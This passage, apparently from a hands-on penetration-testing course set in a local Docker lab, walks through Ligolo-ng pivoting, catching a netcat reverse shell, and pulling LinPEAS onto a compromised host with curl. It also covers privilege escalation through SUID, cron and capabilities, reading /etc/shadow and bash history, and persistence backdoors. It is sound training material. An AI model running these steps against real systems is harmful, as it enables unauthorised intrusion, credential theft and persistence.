Ligolo-ng creates a kernel-level TUN interface that makes the OS route packets natively. Your tools have no idea they are going through a tunnel.

  • Based on the service you identified, use the appropriate exploitation technique from your Kali machine.

Here are examples for common services you might encounter:

Web Application

  • Open the target's web application in your browser or with curl to identify the application type.
curl http://[[TARGET_IP="IP of your second target"]]:[[TARGET_PORT="port number, e.g. 80"]]
  • Look for command injection, file upload, or authentication bypass vulnerabilities.
  • If you gain code execution, spawn a reverse shell back to a netcat listener on your Kali machine.

SSH

  • Attempt SSH access with common credentials or keys found on the entry-point container by running:
ssh [[SSH_USER="username you discovered"]]@[[TARGET_IP="IP of your second target"]]
  • Check the entry-point container for SSH private keys, password files, or configuration files that reveal credentials for internal hosts.

FTP / Other

  • For FTP, check for anonymous access or credentials reused from the entry-point container.
  • For other services, research the service version for known exploits using searchsploit on your Kali machine.
searchsploit [[SERVICE_NAME="service name and version from nmap"]]

If your exploit requires catching a reverse shell, set up a netcat listener on your Kali machine before triggering the exploit:

  • Open a new terminal tab on Kali and start a listener by running:
nc -lvnp 4445

What does this listener do?

Netcat listens on port 4445 for an incoming connection from the exploited target. When the reverse shell connects back, you get an interactive shell on the second host.

Use port 4445 (or any unused port) to avoid conflicts with the listener you used in Step 3 for persistence.

  • Trigger your exploit against the second target.
  • Confirm you have a shell by running whoami and hostname on the new connection.
whoami
hostname
ip addr

You should see a different hostname from the entry-point container, confirming you have moved laterally to a new host.

Reverse shell not connecting?

For the reverse shell to reach your Kali machine, you need a Ligolo-ng listener forwarding traffic back. In the Ligolo-ng proxy CLI, add a listener to relay the connection:

listener_add --addr 0.0.0.0:4445 --to 127.0.0.1:4445 tcp

This tells the agent on the entry-point container to forward traffic arriving on port 4445 back through the tunnel to your Kali netcat listener.

Help me figure out why my reverse shell from the second host isn't connecting back to my Kali listener through Ligolo-ng.

Run LinPEAS and escalate to root on the second host

You now have a foothold on the second host, but likely as a low-privilege user. The same enumeration workflow you used on the entry-point container applies here.

  • First, you need to transfer LinPEAS to the second host. Start a Python HTTP server on your Kali machine to serve the file:
# Run this on Kali in a new terminal tab
cd ~/linpeas
python3 -m http.server 8888

How does the file reach the second host?

You need a Ligolo-ng listener to make your Kali HTTP server reachable from the internal network. The listener forwards requests arriving at the agent (on the entry-point container) back through the tunnel to your Kali machine.

  • In the Ligolo-ng proxy CLI, add a listener to expose your HTTP server to the internal network by running:
listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:8888 tcp
  • Now, on your shell on the second host, download LinPEAS from the entry-point container's internal IP (which is forwarding to your Kali machine):
# Run this on the second host shell
curl http://[[PIVOT_INTERNAL_IP="entry-point container's internal IP"]]:8888/linpeas.sh -o /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh

What is the pivot internal IP?

This is the entry-point container's IP address on the internal network (not its external-facing IP). You found this when you ran ip addr on the entry-point container in Step 4. It is the interface on the same subnet as the second host.

  • Execute LinPEAS on the second host and save the output for review:
# Run this on the second host
/tmp/linpeas.sh | tee /tmp/linpeas_output.txt

What does tee do here?

The tee command displays LinPEAS output on screen while simultaneously saving it to /tmp/linpeas_output.txt. This lets you watch the scan in real time and go back to review findings later.

  • Wait for LinPEAS to complete (1-3 minutes).
  • Review the color-coded output. Red/yellow items indicate high-value escalation vectors.
  • Identify your escalation vector (SUID binary, writable cron job, misconfigured capability, or kernel exploit).

LinPEAS color coding reminder

  • Red = 95% chance of privilege escalation. Exploit these first.
  • Yellow = potential escalation vector worth investigating.
  • Green = informational. Useful context but not directly exploitable.
  • Exploit the privilege escalation vector to gain root on the second host.

The specific exploit depends on what LinPEAS finds. Here are the most common vectors you might encounter:

SUID Binary

If LinPEAS highlights a SUID binary in red, check GTFOBins for known escalation techniques.

  • List SUID binaries to confirm the finding:
find / -perm -4000 -type f 2>/dev/null
  • Search for the binary name on GTFOBins (https://gtfobins.github.io) to find the escalation command.

Writable Cron Job

If LinPEAS finds a cron job running as root that executes a file you can write to, replace its contents with a shell.

  • Check writable cron scripts:
# Check system crontab
cat /etc/crontab
# Check cron directories for writable scripts
ls -la /etc/cron.d/ /etc/cron.daily/
  • Overwrite the writable script with a command that sets SUID on bash or copies a root shell.

Capabilities

If LinPEAS finds a binary with dangerous capabilities (like cap_setuid or cap_dac_override), use it to escalate.

  • List capabilities on the system:
getcap -r / 2>/dev/null
  • Search GTFOBins for the binary name and its capability-based escalation path.
  • After exploiting the vector, confirm root access by running:
whoami
id

You should see root and uid=0(root) in the output.

LinPEAS didn't find anything red?

Check the yellow items more carefully. Also look for credentials in configuration files, history files, and environment variables that might give you direct root access.

Try these manual checks:

# Check for readable shadow file
cat /etc/shadow 2>/dev/null
# Check sudo permissions
sudo -l
# Check command history
cat ~/.bash_history

Help me find a privilege escalation path on this host where LinPEAS didn't show anything in red.

You have now completed the full attack chain: initial access, privilege escalation, persistence, network pivoting, and lateral movement to a second host.

What did you just prove?

This is the exact workflow a professional red teamer follows after initial compromise. You demonstrated that network segmentation alone does not stop a determined attacker who has compromised a host on the boundary.

In a real engagement, you would now repeat the cycle: enumerate the second host's network interfaces, find additional segments, pivot again, and expand access until you reach the engagement objectives.

Secret mission

Double-Pivot to the Third Segment

You've pivoted once. Can you go deeper? In this challenge, you'll chain a second Ligolo-ng agent through your existing tunnel to reach a third network segment that's completely invisible from your first pivot host. Then you'll catch a reverse shell all the way back through the full tunnel chain to your Kali machine.

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely locally on your Kali VM, so there are no ongoing cloud costs. Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

  • 10 Docker containers running the DVPE lab.
  • Ligolo-ng proxy and agent binaries downloaded to your Kali machine.
  • TUN interfaces and IP routes added to your network stack.
  • LinPEAS script downloaded to your Kali machine.
  • SSH keys generated for persistence testing.

Keep everything running

No action needed. Choose this if you're still actively practicing pivoting or want to retry the attack chain from different angles.

  • The 10 containers use minimal resources when idle.
  • Your TUN interfaces and routes remain active until you reboot.
  • You can reconnect Ligolo-ng agents at any time without redeploying.

Pause - I'll come back to this later

Stop the containers without destroying them. This frees up memory while keeping your lab intact for next time.

  • Navigate to the DVPE directory and stop all containers by running:
cd ~/Desktop/dvpe
docker compose stop
  • When you're ready to resume, restart the lab by running:
docker compose start
  • Remove the TUN interfaces to clean up your network stack by running:
sudo ip link del ligolo

Delete - I don't want to use this again

Remove all containers, volumes, images, and downloaded tools. This gives you a completely fresh start.

  • Navigate to the DVPE directory and remove all containers, volumes, and images by running:
cd ~/Desktop/dvpe
docker compose down -v --rmi local
  • Remove the DVPE repository folder by running:
rm -rf ~/Desktop/dvpe
  • Remove the Ligolo-ng binaries and LinPEAS script by running:
rm -f ~/Desktop/proxy ~/Desktop/agent ~/Desktop/linpeas.sh
  • Remove the TUN interface and clean up routes by running:
sudo ip link del ligolo

That's a Wrap!

That's a Wrap!

Nice work. You just executed a professional-grade post-exploitation workflow across a segmented network, moving from initial compromise all the way through lateral movement into hidden infrastructure.

You've learned how to:

  • Deployed a 10-container vulnerable network lab using Docker, then identified privilege escalation vectors with LinPEAS and escalated to root.
  • Established three persistence mechanisms on a compromised host: SSH keys, a cron-based reverse shell, and a systemd service backdoor that survive shell disconnection.
  • Pivoted into an internal network using Ligolo-ng TUN-based tunneling and compromised a second host through the tunnel, proving multi-host lateral movement across network boundaries.
  • Secret Mission: Executed a double-pivot to reach a third network segment and caught a reverse shell through the full tunnel chain back to your Kali machine.

Ready to quiz yourself?